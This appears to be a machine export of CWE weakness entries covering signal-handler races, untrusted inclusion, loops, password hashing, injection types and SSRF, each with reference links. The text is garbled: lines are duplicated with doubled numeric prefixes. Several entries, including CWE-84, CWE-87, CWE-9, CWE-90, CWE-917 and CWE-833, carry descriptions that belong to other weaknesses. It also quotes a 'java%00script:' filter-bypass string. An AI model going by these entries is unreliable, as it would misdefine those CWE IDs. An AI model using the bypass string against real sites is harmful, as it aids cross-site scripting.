20102010 Signal handlers are typically intended to interrupt normal functionality of a program, or even other signals, in order to notify the process of an event. When a signal handler uses global or static variables, or invokes functions that ultimately depend on such state or its associated metadata, then it could corrupt system state that is being used by normal functionality. This could subject the program to race conditions or other weaknesses that allow an attacker to cause the program state to be corrupted. While denial of service is frequently the consequence, in some cases this weakness could be leveraged for code execution.
20142014 The signal handler function is intended to run at most one time, but instead it can be invoked multiple times. This could happen by repeated delivery of the same signal, or by delivery of different signals that have the same handler function (CWE-831).
20152015 Note that in some environments or contexts, it might be possible for the signal handler to be interrupted itself.
20162016 If both a signal handler and the normal behavior of the software have to operate on the same set of state variables, and a signal is received in the middle of the normal execution's modifications of those variables, the variables may be in an incorrect or corrupt state during signal handler execution, and possibly still incorrect or corrupt upon return.",,unclassified,"Delivering Signals for Fun and Profit: http://lcamtuf.coredump.cx/signals.txt
2017 Race Condition: Signal Handling: http://www.fortify.com/vulncat/en/vulncat/cpp/race_condition_signal_handling.html"
2017 Race Condition: Signal Handling: http://www.fortify.com/vulncat/en/vulncat/cpp/race_condition_signal_handling.html"
20182018 CWE-829,Inclusion of Functionality from Untrusted Control Sphere (Type: Class),"The software imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere.
20192019 When including third-party functionality, such as a web widget, library, or other source of functionality, the software must effectively trust that functionality. Without sufficient protection mechanisms, the functionality could be malicious in nature (either by coming from an untrusted source, being spoofed, or being modified in transit from a trusted source). The functionality might also contain its own weaknesses, or grant access to additional functionality and state information that should be kept private to the base system, such as system state information, sensitive application data, or the DOM of a web application.
20202020 This might lead to many different consequences depending on the included functionality, but some examples include injection of malware, information exposure by granting excessive privileges or permissions to the untrusted functionality, DOM-based XSS vulnerabilities, stealing user's cookies, or open redirect to malware (CWE-601).",,unclassified,"OWASP Enterprise Security API (ESAPI) Project: http://www.owasp.org/index.php/ESAPI
2021 Least Privilege: https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html"
2021 Least Privilege: https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html"
20222022 CWE-83,Improper Neutralization of Script in Attributes in a Web Page (Type: Variant),"The software does not neutralize or incorrectly neutralizes ""javascript:"" or other URIs from dangerous attributes within tags, such as onmouseover, onload, onerror, or style.
20232023 When including third-party functionality, such as a web widget, library, or other source of functionality, the software must effectively trust that functionality. Without sufficient protection mechanisms, the functionality could be malicious in nature (either by coming from an untrusted source, being spoofed, or being modified in transit from a trusted source). The functionality might also contain its own weaknesses, or grant access to additional functionality and state information that should be kept private to the base system, such as system state information, sensitive application data, or the DOM of a web application.
2024 This might lead to many different consequences depending on the included functionality, but some examples include injection of malware, information exposure by granting excessive privileges or permissions to the untrusted functionality, DOM-based XSS vulnerabilities, stealing user's cookies, or open redirect to malware (CWE-601).",,unclassified,
2024 This might lead to many different consequences depending on the included functionality, but some examples include injection of malware, information exposure by granting excessive privileges or permissions to the untrusted functionality, DOM-based XSS vulnerabilities, stealing user's cookies, or open redirect to malware (CWE-601).",,unclassified,
20252025 CWE-830,Inclusion of Web Functionality from an Untrusted Source (Type: Base),"The software includes web functionality (such as a web widget) from another domain, which causes it to operate within the domain of the software, potentially granting total access and control of the software to the untrusted source.
20262026 Including third party functionality in a web-based environment is risky, especially if the source of the functionality is untrusted.
20272027 Even if the third party is a trusted source, the software may still be exposed to attacks and malicious behavior if that trusted source is compromised, or if the code is modified in transmission from the third party to the software.
20282028 This weakness is common in ""mashup"" development on the web, which may include source functionality from other domains. For example, Javascript-based web widgets may be inserted by using '<SCRIPT SRC=""http://other.domain.here"">' tags, which causes the code to run in the domain of the software, not the remote site from which the widget was loaded. As a result, the included code has access to the local DOM, including cookies and other data that the developer might not want the remote site to be able to access.
2029 Such dependencies may be desirable, or even required, but sometimes programmers are not aware that a dependency exists.",,unclassified,Third-Party Web Widget Security FAQ: http://jeremiahgrossman.blogspot.com/2010/07/third-party-web-widget-security-faq.html
2029 Such dependencies may be desirable, or even required, but sometimes programmers are not aware that a dependency exists.",,unclassified,Third-Party Web Widget Security FAQ: http://jeremiahgrossman.blogspot.com/2010/07/third-party-web-widget-security-faq.html
20302030 CWE-831,Signal Handler Function Associated with Multiple Signals (Type: Base),"The software defines a function that is used as a handler for more than one signal.
20312031 While sometimes intentional and safe, when the same function is used to handle multiple signals, a race condition could occur if the function uses any state outside of its local declaration, such as global variables or non-reentrant functions, or has any side effects.
20322032 An attacker could send one signal that invokes the handler function; in many OSes, this will typically prevent the same signal from invoking the handler again, at least until the handler function has completed execution. However, the attacker could then send a different signal that is associated with the same handler function. This could interrupt the original handler function while it is still executing. If there is shared state, then the state could be corrupted. This can lead to a variety of potential consequences depending on context, including denial of service and code execution.
20332033 Another rarely-explored possibility arises when the signal handler is only designed to be executed once (if at all). By sending multiple signals, an attacker could invoke the function more than once. This may generate extra, unintended side effects. A race condition might not even be necessary; the attacker could send one signal, wait until it is handled, then send the other signal.",,unclassified,"Delivering Signals for Fun and Profit: http://lcamtuf.coredump.cx/signals.txt
2034 Race Condition: Signal Handling: http://www.fortify.com/vulncat/en/vulncat/cpp/race_condition_signal_handling.html"
2034 Race Condition: Signal Handling: http://www.fortify.com/vulncat/en/vulncat/cpp/race_condition_signal_handling.html"
20352035 CWE-832,Unlock of a Resource that is not Locked (Type: Base),"The software attempts to unlock a resource that is not locked.
2036 Depending on the locking functionality, an unlock of a non-locked resource might cause memory corruption or other modification to the resource (or its associated metadata that is used for tracking locks).",,unclassified,
2036 Depending on the locking functionality, an unlock of a non-locked resource might cause memory corruption or other modification to the resource (or its associated metadata that is used for tracking locks).",,unclassified,
20372037 CWE-833,Deadlock (Type: Base),"The software contains multiple threads or executable segments that are waiting for each other to release a necessary lock, resulting in deadlock.
20382038 Depending on the locking functionality, an unlock of a non-locked resource might cause memory corruption or other modification to the resource (or its associated metadata that is used for tracking locks).",,unclassified,"The Art of Software Security Assessment: Chapter 13, ""Synchronization Problems"" / ""Starvation and Deadlocks"", Page 760
20392039 The Art of Software Security Assessment: Chapter 13, ""Starvation and Deadlocks"", Page 760.
2040 Secure Coding in C and C++: Chapter 7, ""Concurrency"", section ""Mutual Exclusion and Deadlock"", Page 248."
2040 Secure Coding in C and C++: Chapter 7, ""Concurrency"", section ""Mutual Exclusion and Deadlock"", Page 248."
20412041 CWE-834,Excessive Iteration (Type: Base),"The software performs an iteration or loop without sufficiently limiting the number of times that the loop is executed.
2042 If the iteration can be influenced by an attacker, this weakness could allow attackers to consume excessive resources such as CPU or memory. In many cases, a loop does not need to be infinite in order to cause enough resource consumption to adversely affect the software or its host system; it depends on the amount of resources consumed per iteration.",,unclassified,"The Art of Software Security Assessment: Chapter 7, ""Looping Constructs"", Page 327."
2042 If the iteration can be influenced by an attacker, this weakness could allow attackers to consume excessive resources such as CPU or memory. In many cases, a loop does not need to be infinite in order to cause enough resource consumption to adversely affect the software or its host system; it depends on the amount of resources consumed per iteration.",,unclassified,"The Art of Software Security Assessment: Chapter 7, ""Looping Constructs"", Page 327."
20432043 CWE-835,Loop with Unreachable Exit Condition (Infinite Loop) (Type: Base),"The program contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop.
2044 If the loop can be influenced by an attacker, this weakness could allow attackers to consume excessive resources such as CPU or memory.",,unclassified,"The Art of Software Security Assessment: Chapter 7, ""Looping Constructs"", Page 327."
2044 If the loop can be influenced by an attacker, this weakness could allow attackers to consume excessive resources such as CPU or memory.",,unclassified,"The Art of Software Security Assessment: Chapter 7, ""Looping Constructs"", Page 327."
20452045 CWE-836,Use of Password Hash Instead of Password for Authentication (Type: Base),"The software records password hashes in a data store, receives a hash of a password from a client, and compares the supplied hash to the hash obtained from the data store.
20462046 Some authentication mechanisms rely on the client to generate the hash for a password, possibly to reduce load on the server or avoid sending the password across the network. However, when the client is used to generate the hash, an attacker can bypass the authentication by obtaining a copy of the hash, e.g. by using SQL injection to compromise a database of authentication credentials, or by exploiting an information exposure. The attacker could then use a modified client to replay the stolen hash without having knowledge of the original password.
2047 As a result, the server-side comparison against a client-side hash does not provide any more security than the use of passwords without hashing.",,unclassified,
2047 As a result, the server-side comparison against a client-side hash does not provide any more security than the use of passwords without hashing.",,unclassified,
20482048 CWE-837,"Improper Enforcement of a Single, Unique Action (Type: Base)","The software requires that an actor should only be able to perform an action once, or to have only one unique action, but the software does not enforce or improperly enforces this restriction.
2049 In various applications, a user is only expected to perform a certain action once, such as voting, requesting a refund, or making a purchase. When this restriction is not enforced, sometimes this can have security implications. For example, in a voting application, an attacker could attempt to ""stuff the ballot box"" by voting multiple times. If these votes are counted separately, then the attacker could directly affect who wins the vote. This could have significant business impact depending on the purpose of the software.",,unclassified,
2049 In various applications, a user is only expected to perform a certain action once, such as voting, requesting a refund, or making a purchase. When this restriction is not enforced, sometimes this can have security implications. For example, in a voting application, an attacker could attempt to ""stuff the ballot box"" by voting multiple times. If these votes are counted separately, then the attacker could directly affect who wins the vote. This could have significant business impact depending on the purpose of the software.",,unclassified,
20502050 CWE-838,Inappropriate Encoding for Output Context (Type: Base),"The software uses or specifies an encoding when generating output to a downstream component, but the specified encoding is not the same as the encoding that is expected by the downstream component.
20512051 This weakness can cause the downstream component to use a decoding method that produces different data than what the software intended to send. When the wrong encoding is used - even if closely related - the downstream component could decode the data incorrectly. This can have security consequences when the provided boundaries between control and data are inadvertently broken, because the resulting data could introduce control characters or special elements that were not sent by the software. The resulting data could then be used to bypass protection mechanisms such as input validation, and enable injection attacks.
20522052 While using output encoding is essential for ensuring that communications between components are accurate, the use of the wrong encoding - even if closely related - could cause the downstream component to misinterpret the output.
20572057 What is the Future of Automated XSS Defense Tools?: http://software-security.sans.org/downloads/appsec-2011-files/manico-appsec-future-tools.pdf
20582058 XSS Attacks: Preventing XSS Attacks
20592059 DOM based XSS Prevention Cheat Sheet: http://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet
2060 OWASP Enterprise Security API (ESAPI) Project: http://www.owasp.org/index.php/ESAPI"
2060 OWASP Enterprise Security API (ESAPI) Project: http://www.owasp.org/index.php/ESAPI"
20612061 CWE-839,Numeric Range Comparison Without Minimum Check (Type: Base),"The program checks a value to ensure that it does not exceed a maximum, but it does not verify that the value exceeds the minimum.
20622062 Some programs use signed integers or floats even when their values are only expected to be positive or 0. An input validation check might assume that the value is positive, and only check for the maximum value. If the value is negative, but the code assumes that the value is positive, this can produce an error. The error may have security consequences if the negative value is used for memory allocation, array access, buffer access, etc. Ultimately, the error could lead to a buffer overflow or other type of memory corruption.
20632063 The use of a negative number in a positive-only context could have security implications for other types of resources. For example, a shopping cart might check that the user is not requesting more than 10 items, but a request for -3 items could cause the application to calculate a negative price and credit the attacker's account.",,unclassified,"The Art of Software Security Assessment: Chapter 6, ""Type Conversion Vulnerabilities"" Page 246.
2064 The Art of Software Security Assessment: Chapter 6, ""Comparisons"", Page 265."
2064 The Art of Software Security Assessment: Chapter 6, ""Comparisons"", Page 265."
20652065 CWE-84,Improper Neutralization of Encoded URI Schemes in a Web Page (Type: Variant),"The web application improperly neutralizes user-controlled input for executable script disguised with URI encodings.
20662066 Some programs use signed integers or floats even when their values are only expected to be positive or 0. An input validation check might assume that the value is positive, and only check for the maximum value. If the value is negative, but the code assumes that the value is positive, this can produce an error. The error may have security consequences if the negative value is used for memory allocation, array access, buffer access, etc. Ultimately, the error could lead to a buffer overflow or other type of memory corruption.
2067 The use of a negative number in a positive-only context could have security implications for other types of resources. For example, a shopping cart might check that the user is not requesting more than 10 items, but a request for -3 items could cause the application to calculate a negative price and credit the attacker's account.",,unclassified,
2067 The use of a negative number in a positive-only context could have security implications for other types of resources. For example, a shopping cart might check that the user is not requesting more than 10 items, but a request for -3 items could cause the application to calculate a negative price and credit the attacker's account.",,unclassified,
20682068 CWE-841,Improper Enforcement of Behavioral Workflow (Type: Base),"The software supports a session in which more than one behavior must be performed by an actor, but it does not properly ensure that the actor performs the behaviors in the required sequence.
20692069 By performing actions in an unexpected order, or by omitting steps, an attacker could manipulate the business logic of the software or cause it to enter an invalid state. In some cases, this can also expose resultant weaknesses.
20702070 For example, a file-sharing protocol might require that an actor perform separate steps to provide a username, then a password, before being able to transfer files. If the file-sharing server accepts a password command followed by a transfer command, without any username being provided, the software might still perform the transfer.
20802080 Defying Logic: Theory, Design, and Implementation of Complex Systems for Testing Application Logic: http://www.slideshare.net/RafalLos/defying-logic-business-logic-testing-with-automation
20812081 Real-Life Example of a 'Business Logic Defect' (Screen Shots!): http://h30501.www3.hp.com/t5/Following-the-White-Rabbit-A/Real-Life-Example-of-a-Business-Logic-Defect-Screen-Shots/ba-p/22581
20822082 Toward Automated Detection of Logic Vulnerabilities in Web Applications: http://www.usenix.org/events/sec10/tech/full_papers/Felmetsger.pdf
2083 Designing a Framework Method for Secure Business Application Logic Integrity in e-Commerce Systems: http://ijns.femto.com.tw/contents/ijns-v12-n1/ijns-2011-v12-n1-p29-41.pdf"
2083 Designing a Framework Method for Secure Business Application Logic Integrity in e-Commerce Systems: http://ijns.femto.com.tw/contents/ijns-v12-n1/ijns-2011-v12-n1-p29-41.pdf"
20842084 CWE-842,Placement of User into Incorrect Group (Type: Base),"The software or the administrator places a user into an incorrect group.
2085 If the incorrect group has more access or privileges than the intended group, the user might be able to bypass intended security policy to access unexpected resources or perform unexpected actions. The access-control system might not be able to detect malicious usage of this group membership.",,unclassified,
2085 If the incorrect group has more access or privileges than the intended group, the user might be able to bypass intended security policy to access unexpected resources or perform unexpected actions. The access-control system might not be able to detect malicious usage of this group membership.",,unclassified,
20862086 CWE-843,Access of Resource Using Incompatible Type (Type Confusion) (Type: Base),"The program allocates or initializes a resource such as a pointer, object, or variable using one type, but it later accesses that resource using a type that is incompatible with the original type.
20872087 When the program accesses the resource using an incompatible type, this could trigger logical errors because the resource does not have expected properties. In languages without memory safety, such as C and C++, type confusion can lead to out-of-bounds memory access.
20882088 While this weakness is frequently associated with unions when parsing data with many different embedded object types in C, it can be present in any application that can interpret the same variable or memory location in multiple ways.
20892089 This weakness is not unique to C and C++. For example, errors in PHP applications can be triggered by providing array parameters when scalars are expected, or vice versa. Languages such as Perl, which perform automatic conversion of a variable of one type when it is accessed as if it were another type, can also contain these issues.",,unclassified,"Attacking Interoperability: http://www.azimuthsecurity.com/resources/bh2009_dowd_smith_dewey.pdf
2090 The Art of Software Security Assessment: Chapter 7, ""Type Confusion"", Page 319."
2090 The Art of Software Security Assessment: Chapter 7, ""Type Confusion"", Page 319."
20912091 CWE-85,Doubled Character XSS Manipulations (Type: Variant),"The web application does not filter user-controlled input for executable script disguised using doubling of the involved characters.
20922092 When the program accesses the resource using an incompatible type, this could trigger logical errors because the resource does not have expected properties. In languages without memory safety, such as C and C++, type confusion can lead to out-of-bounds memory access.
20932093 While this weakness is frequently associated with unions when parsing data with many different embedded object types in C, it can be present in any application that can interpret the same variable or memory location in multiple ways.
2094 This weakness is not unique to C and C++. For example, errors in PHP applications can be triggered by providing array parameters when scalars are expected, or vice versa. Languages such as Perl, which perform automatic conversion of a variable of one type when it is accessed as if it were another type, can also contain these issues.",,unclassified,
2094 This weakness is not unique to C and C++. For example, errors in PHP applications can be triggered by providing array parameters when scalars are expected, or vice versa. Languages such as Perl, which perform automatic conversion of a variable of one type when it is accessed as if it were another type, can also contain these issues.",,unclassified,
20952095 CWE-86,Improper Neutralization of Invalid Characters in Identifiers in Web Pages (Type: Variant),"The software does not neutralize or incorrectly neutralizes invalid characters or byte sequences in the middle of tag names, URI schemes, and other identifiers.
2096 Some web browsers may remove these sequences, resulting in output that may have unintended control implications. For example, the software may attempt to remove a ""javascript:"" URI scheme, but a ""java%00script:"" URI may bypass this check and still be rendered as active javascript by some browsers, allowing XSS or other attacks.",,unclassified,
2096 Some web browsers may remove these sequences, resulting in output that may have unintended control implications. For example, the software may attempt to remove a ""javascript:"" URI scheme, but a ""java%00script:"" URI may bypass this check and still be rendered as active javascript by some browsers, allowing XSS or other attacks.",,unclassified,
20972097 CWE-87,Improper Neutralization of Alternate XSS Syntax (Type: Variant),"The software does not neutralize or incorrectly neutralizes user-controlled input for alternate script syntax.
20982098 Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.
2099 When access control checks are incorrectly applied, users are able to access data or perform actions that they should not be allowed to perform. This can lead to a wide range of problems, including information exposures, denial of service, and arbitrary code execution.",,unclassified,
2099 When access control checks are incorrectly applied, users are able to access data or perform actions that they should not be allowed to perform. This can lead to a wide range of problems, including information exposures, denial of service, and arbitrary code execution.",,unclassified,
21002100 CWE-88,Argument Injection or Modification (Type: Base),"The software does not sufficiently delimit the arguments being passed to a component in another control sphere, allowing alternate arguments to be provided, leading to potentially security-relevant changes.
21012101 Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.
21022102 When access control checks are incorrectly applied, users are able to access data or perform actions that they should not be allowed to perform. This can lead to a wide range of problems, including information exposures, denial of service, and arbitrary code execution.",,unclassified,"Argument injection issues: http://www.securityfocus.com/archive/1/archive/1/460089/100/100/threaded
2103 The Art of Software Security Assessment: Chapter 10, ""The Argument Array"", Page 567."
2103 The Art of Software Security Assessment: Chapter 10, ""The Argument Array"", Page 567."
21042104 CWE-9,J2EE Misconfiguration: Weak Access Permissions for EJB Methods (Type: Variant),"If elevated access rights are assigned to EJB methods, then an attacker can take advantage of the permissions to exploit the software system.
21052105 Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. This can be used to alter query logic to bypass security checks, or to insert additional statements that modify the back-end database, possibly including execution of system commands.
2106 SQL injection has become a common issue with database-driven web sites. The flaw is easily detected, and easily exploited, and as such, any site or software package with even a minimal user base is likely to be subject to an attempted attack of this kind. This flaw depends on the fact that SQL makes no real distinction between the control and data planes.",,unclassified,
2106 SQL injection has become a common issue with database-driven web sites. The flaw is easily detected, and easily exploited, and as such, any site or software package with even a minimal user base is likely to be subject to an attempted attack of this kind. This flaw depends on the fact that SQL makes no real distinction between the control and data planes.",,unclassified,
21072107 CWE-90,Improper Neutralization of Special Elements used in an LDAP Query (LDAP Injection) (Type: Base),"The software constructs all or part of an LDAP query using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended LDAP query when it is sent to a downstream component.
21082108 Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. This can be used to alter query logic to bypass security checks, or to insert additional statements that modify the back-end database, possibly including execution of system commands.
2109 SQL injection has become a common issue with database-driven web sites. The flaw is easily detected, and easily exploited, and as such, any site or software package with even a minimal user base is likely to be subject to an attempted attack of this kind. This flaw depends on the fact that SQL makes no real distinction between the control and data planes.",,unclassified,Web Applications and LDAP Injection
2109 SQL injection has become a common issue with database-driven web sites. The flaw is easily detected, and easily exploited, and as such, any site or software package with even a minimal user base is likely to be subject to an attempted attack of this kind. This flaw depends on the fact that SQL makes no real distinction between the control and data planes.",,unclassified,Web Applications and LDAP Injection
21102110 CWE-91,XML Injection (aka Blind XPath Injection) (Type: Base),"The software does not properly neutralize special elements that are used in XML, allowing attackers to modify the syntax, content, or commands of the XML before it is processed by an end system.
21112111 Within XML, special elements could include reserved words or characters such as ""<"", "">"", """""", and ""&"", which could then be used to add new data or modify XML syntax.",,unclassified,"Blind XPath Injection: http://www.modsecurity.org/archive/amit/blind-xpath-injection.pdf
2112 The Art of Software Security Assessment: Chapter 17, ""XML Injection"", Page 1069."
2112 The Art of Software Security Assessment: Chapter 17, ""XML Injection"", Page 1069."
21132113 CWE-912,Hidden Functionality (Type: Class),"The software contains functionality that is not documented, not part of the specification, and not accessible through an interface or command sequence that is obvious to the software's users or administrators.
2114 Hidden functionality can take many forms, such as intentionally malicious code, ""Easter Eggs"" that contain extraneous functionality such as games, developer-friendly shortcuts that reduce maintenance or support costs such as hard-coded accounts, etc. From a security perspective, even when the functionality is not intentionally malicious or damaging, it can increase the software's attack surface and expose additional weaknesses beyond what is already exposed by the intended functionality. Even if it is not easily accessible, the hidden functionality could be useful for attacks that modify the control flow of the application.",,unclassified,
2114 Hidden functionality can take many forms, such as intentionally malicious code, ""Easter Eggs"" that contain extraneous functionality such as games, developer-friendly shortcuts that reduce maintenance or support costs such as hard-coded accounts, etc. From a security perspective, even when the functionality is not intentionally malicious or damaging, it can increase the software's attack surface and expose additional weaknesses beyond what is already exposed by the intended functionality. Even if it is not easily accessible, the hidden functionality could be useful for attacks that modify the control flow of the application.",,unclassified,
21152115 CWE-913,Improper Control of Dynamically-Managed Code Resources (Type: Class),"The software does not properly restrict reading from or writing to dynamically-managed code resources such as variables, objects, classes, attributes, functions, or executable instructions or statements.
2116 Many languages offer powerful features that allow the programmer to dynamically create or modify existing code, or resources used by code such as variables and objects. While these features can offer significant flexibility and reduce development time, they can be extremely dangerous if attackers can directly influence these code resources in unexpected ways.",,unclassified,
2116 Many languages offer powerful features that allow the programmer to dynamically create or modify existing code, or resources used by code such as variables and objects. While these features can offer significant flexibility and reduce development time, they can be extremely dangerous if attackers can directly influence these code resources in unexpected ways.",,unclassified,
21172117 CWE-914,Improper Control of Dynamically-Identified Variables (Type: Base),"The software does not properly restrict reading from or writing to dynamically-identified variables.
2118 Many languages offer powerful features that allow the programmer to access arbitrary variables that are specified by an input string. While these features can offer significant flexibility and reduce development time, they can be extremely dangerous if attackers can modify unintended variables that have security implications.",,unclassified,
2118 Many languages offer powerful features that allow the programmer to access arbitrary variables that are specified by an input string. While these features can offer significant flexibility and reduce development time, they can be extremely dangerous if attackers can modify unintended variables that have security implications.",,unclassified,
21192119 CWE-915,Improperly Controlled Modification of Dynamically-Determined Object Attributes (Type: Base),"The software receives input from an upstream component that specifies multiple attributes, properties, or fields that are to be initialized or updated in an object, but it does not properly control which attributes can be modified.
21202120 If the object contains attributes that were only intended for internal use, then their unexpected modification could lead to a vulnerability.
21212121 This weakness is sometimes known by the language-specific mechanisms that make it possible, such as mass assignment, autobinding, or object injection.",,unclassified,"Shocking News in PHP Exploitation: http://www.suspekt.org/downloads/POC2009-ShockingNewsInPHPExploitation.pdf
21292129 6 Ways To Avoid Mass Assignment in ASP.NET MVC: http://odetocode.com/blogs/scott/archive/2012/03/11/complete-guide-to-mass-assignment-in-asp-net-mvc.aspx
21302130 PHP Object Injection: https://www.owasp.org/index.php/PHP_Object_Injection
21312131 Unserializing user-supplied data, a bad idea: http://heine.familiedeelstra.com/security/unserialize
2132 Why Python Pickle is Insecure: http://nadiana.com/python-pickle-insecure"
2132 Why Python Pickle is Insecure: http://nadiana.com/python-pickle-insecure"
21332133 CWE-916,Use of Password Hash With Insufficient Computational Effort (Type: Base),"The software generates a hash for a password, but it uses a scheme that does not provide a sufficient level of computational effort that would make password cracking attacks infeasible or expensive.
21342134 Many password storage mechanisms compute a hash and store the hash, instead of storing the original password in plaintext. In this design, authentication involves accepting an incoming password, computing its hash, and comparing it to the stored hash.
21352135 Many hash algorithms are designed to execute quickly with minimal overhead, even cryptographic hashes. However, this efficiency is a problem for password storage, because it can reduce an attacker's workload for brute-force password cracking. If an attacker can obtain the hashes through some other method (such as SQL injection on a database that stores hashes), then the attacker can store the hashes offline and use various techniques to crack the passwords by computing hashes efficiently. Without a built-in workload, modern attacks can compute large numbers of hashes, or even exhaust the entire space of all possible passwords, within a very short amount of time, using massively-parallel computing (such as cloud computing) and GPU, ASIC, or FPGA hardware. In such a scenario, an efficient hash algorithm helps the attacker.
21522152 New developments in password hashing: ROM-port-hard functions: http://www.openwall.com/presentations/ZeroNights2012-New-In-Password-Hashing/
21532153 The Importance of Being Canonical: http://erratasec.blogspot.com/2009/02/importance-of-being-canonical.html
21542154 Our password hashing has no clothes: http://www.troyhunt.com/2012/06/our-password-hashing-has-no-clothes.html
2155 Should we really use bcrypt/scrypt?: http://www.analyticalengine.net/2012/06/should-we-really-use-bcryptscrypt/"
2155 Should we really use bcrypt/scrypt?: http://www.analyticalengine.net/2012/06/should-we-really-use-bcryptscrypt/"
21562156 CWE-917,Improper Neutralization of Special Elements used in an Expression Language Statement (Expression Language Injection) (Type: Base),"The software constructs all or part of an expression language (EL) statement in a Java Server Page (JSP) using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended EL statement before it is executed.
21572157 Many password storage mechanisms compute a hash and store the hash, instead of storing the original password in plaintext. In this design, authentication involves accepting an incoming password, computing its hash, and comparing it to the stored hash.
21582158 Many hash algorithms are designed to execute quickly with minimal overhead, even cryptographic hashes. However, this efficiency is a problem for password storage, because it can reduce an attacker's workload for brute-force password cracking. If an attacker can obtain the hashes through some other method (such as SQL injection on a database that stores hashes), then the attacker can store the hashes offline and use various techniques to crack the passwords by computing hashes efficiently. Without a built-in workload, modern attacks can compute large numbers of hashes, or even exhaust the entire space of all possible passwords, within a very short amount of time, using massively-parallel computing (such as cloud computing) and GPU, ASIC, or FPGA hardware. In such a scenario, an efficient hash algorithm helps the attacker.
21632163 Given a hash, there is no known way of determining a password that produces this hash value, other than by guessing possible passwords (""one-way"" hashing)
21642164 Relative to the number of all possible hashes that can be generated by the scheme, there is a low likelihood of producing the same hash for multiple different inputs (""collision resistance"")
21652165 Note that the security requirements for the software may vary depending on the environment and the value of the passwords. Different schemes might not provide all of these properties, yet may still provide sufficient security for the environment. Conversely, a solution might be very strong in preserving one property, which still being very weak for an attack against another property, or it might not be able to significantly reduce the efficiency of a massively-parallel attack.",,unclassified,"Expression Language Injection: http://www.mindedsecurity.com/fileshare/ExpressionLanguageInjection.pdf
2166 Remote Code with Expression Language Injection: http://danamodio.com/application-security/discoveries/spring-remote-code-with-expression-language-injection/"
2166 Remote Code with Expression Language Injection: http://danamodio.com/application-security/discoveries/spring-remote-code-with-expression-language-injection/"
21672167 CWE-918,Server-Side Request Forgery (SSRF) (Type: Base),"The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
21682168 By providing URLs to unexpected hosts or ports, attackers can make it appear that the server is sending the request, possibly bypassing access controls such as firewalls that prevent the attackers from accessing the URLs directly. The server can be used as a proxy to conduct port scanning of hosts in internal networks, use other URLs such as that can access documents on the system (using file://), or use other protocols such as gopher:// or tftp://, which may provide greater control over the contents of requests.",,unclassified,"SSRF vs. Business-critical applications: XXE tunneling in SAP: https://media.blackhat.com/bh-us-12/Briefings/Polyakov/BH_US_12_Polyakov_SSRF_Business_Slides.pdf
21692169 SSRF vs. Business-critical Applications. Part 1: XXE Tunnelling in SAP NetWeaver: http://erpscan.com/wp-content/uploads/2012/08/SSRF-vs-Businness-critical-applications-whitepaper.pdf
21722172 Cross Site Port Attacks - XSPA - Part 3: http://www.riyazwalikar.com/2012/11/cross-site-port-attacks-xspa-part-3.html
21732173 SSRF attacks and sockets: smorgasbord of vulnerabilities: http://www.slideshare.net/d0znpp/ssrf-attacks-and-sockets-smorgasbord-of-vulnerabilities
21742174 SSRF bible. Cheatsheet: https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit?pli=1#
2175 Web Portals: Gateway To Information, Or A Hole In Our Perimeter Defenses: http://www.shmoocon.org/2008/presentations/Web%20portals,%20gateway%20to%20information.ppt"
2175 Web Portals: Gateway To Information, Or A Hole In Our Perimeter Defenses: http://www.shmoocon.org/2008/presentations/Web%20portals,%20gateway%20to%20information.ppt"
21762176 CWE-92,DEPRECATED: Improper Sanitization of Custom Special Characters (Type: Base),"This entry has been deprecated. It originally came from PLOVER, which sometimes defined ""other"" and ""miscellaneous"" categories in order to satisfy exhaustiveness requirements for taxonomies. Within the context of CWE, the use of a more abstract entry is preferred in mapping situations. CWE-75 is a more appropriate mapping.
2177 By providing URLs to unexpected hosts or ports, attackers can make it appear that the server is sending the request, possibly bypassing access controls such as firewalls that prevent the attackers from accessing the URLs directly. The server can be used as a proxy to conduct port scanning of hosts in internal networks, use other URLs such as that can access documents on the system (using file://), or use other protocols such as gopher:// or tftp://, which may provide greater control over the contents of requests.",,unclassified,
2177 By providing URLs to unexpected hosts or ports, attackers can make it appear that the server is sending the request, possibly bypassing access controls such as firewalls that prevent the attackers from accessing the URLs directly. The server can be used as a proxy to conduct port scanning of hosts in internal networks, use other URLs such as that can access documents on the system (using file://), or use other protocols such as gopher:// or tftp://, which may provide greater control over the contents of requests.",,unclassified,
21782178 CWE-920,Improper Restriction of Power Consumption (Type: Base),"The software operates in an environment in which power is a limited resource that cannot be automatically replenished, but the software does not properly restrict the amount of power that its operation consumes.
21792179 In environments such as embedded or mobile devices, power can be a limited resource such as a battery, which cannot be automatically replenished by the software itself, and the device might not always be directly attached to a reliable power source. If the software uses too much power too quickly, then this could cause the device (and subsequently, the software) to stop functioning until power is restored, or increase the financial burden on the device owner because of increased power costs.
21802180 Normal operation of an application will consume power. However, in some cases, an attacker could cause the application to consume more power than intended, using components such as:
21842184 GPS
21852185 Sound
21862186 Microphone
2187 USB interface",,unclassified,
2187 USB interface",,unclassified,
21882188 CWE-921,Storage of Sensitive Data in a Mechanism without Access Control (Type: Base),"The software stores sensitive information in a file system or device that does not have built-in access control.
21892189 While many modern file systems or devices utilize some form of access control in order to restrict access to data, not all storage mechanisms have this capability. For example, memory cards, floppy disks, CDs, and USB devices are typically made accessible to any user within the system. This can become a problem when sensitive data is stored in these mechanisms in a multi-user environment, because anybody on the system can read or write this data.
2190 On Android devices, external storage is typically globally readable and writable by other applications on the device. External storage may also be easily accessible through the mobile device's USB connection or physically accessible through the device's memory card port.",,unclassified,Security Tips: http://developer.android.com/training/articles/security-tips.html#StoringData
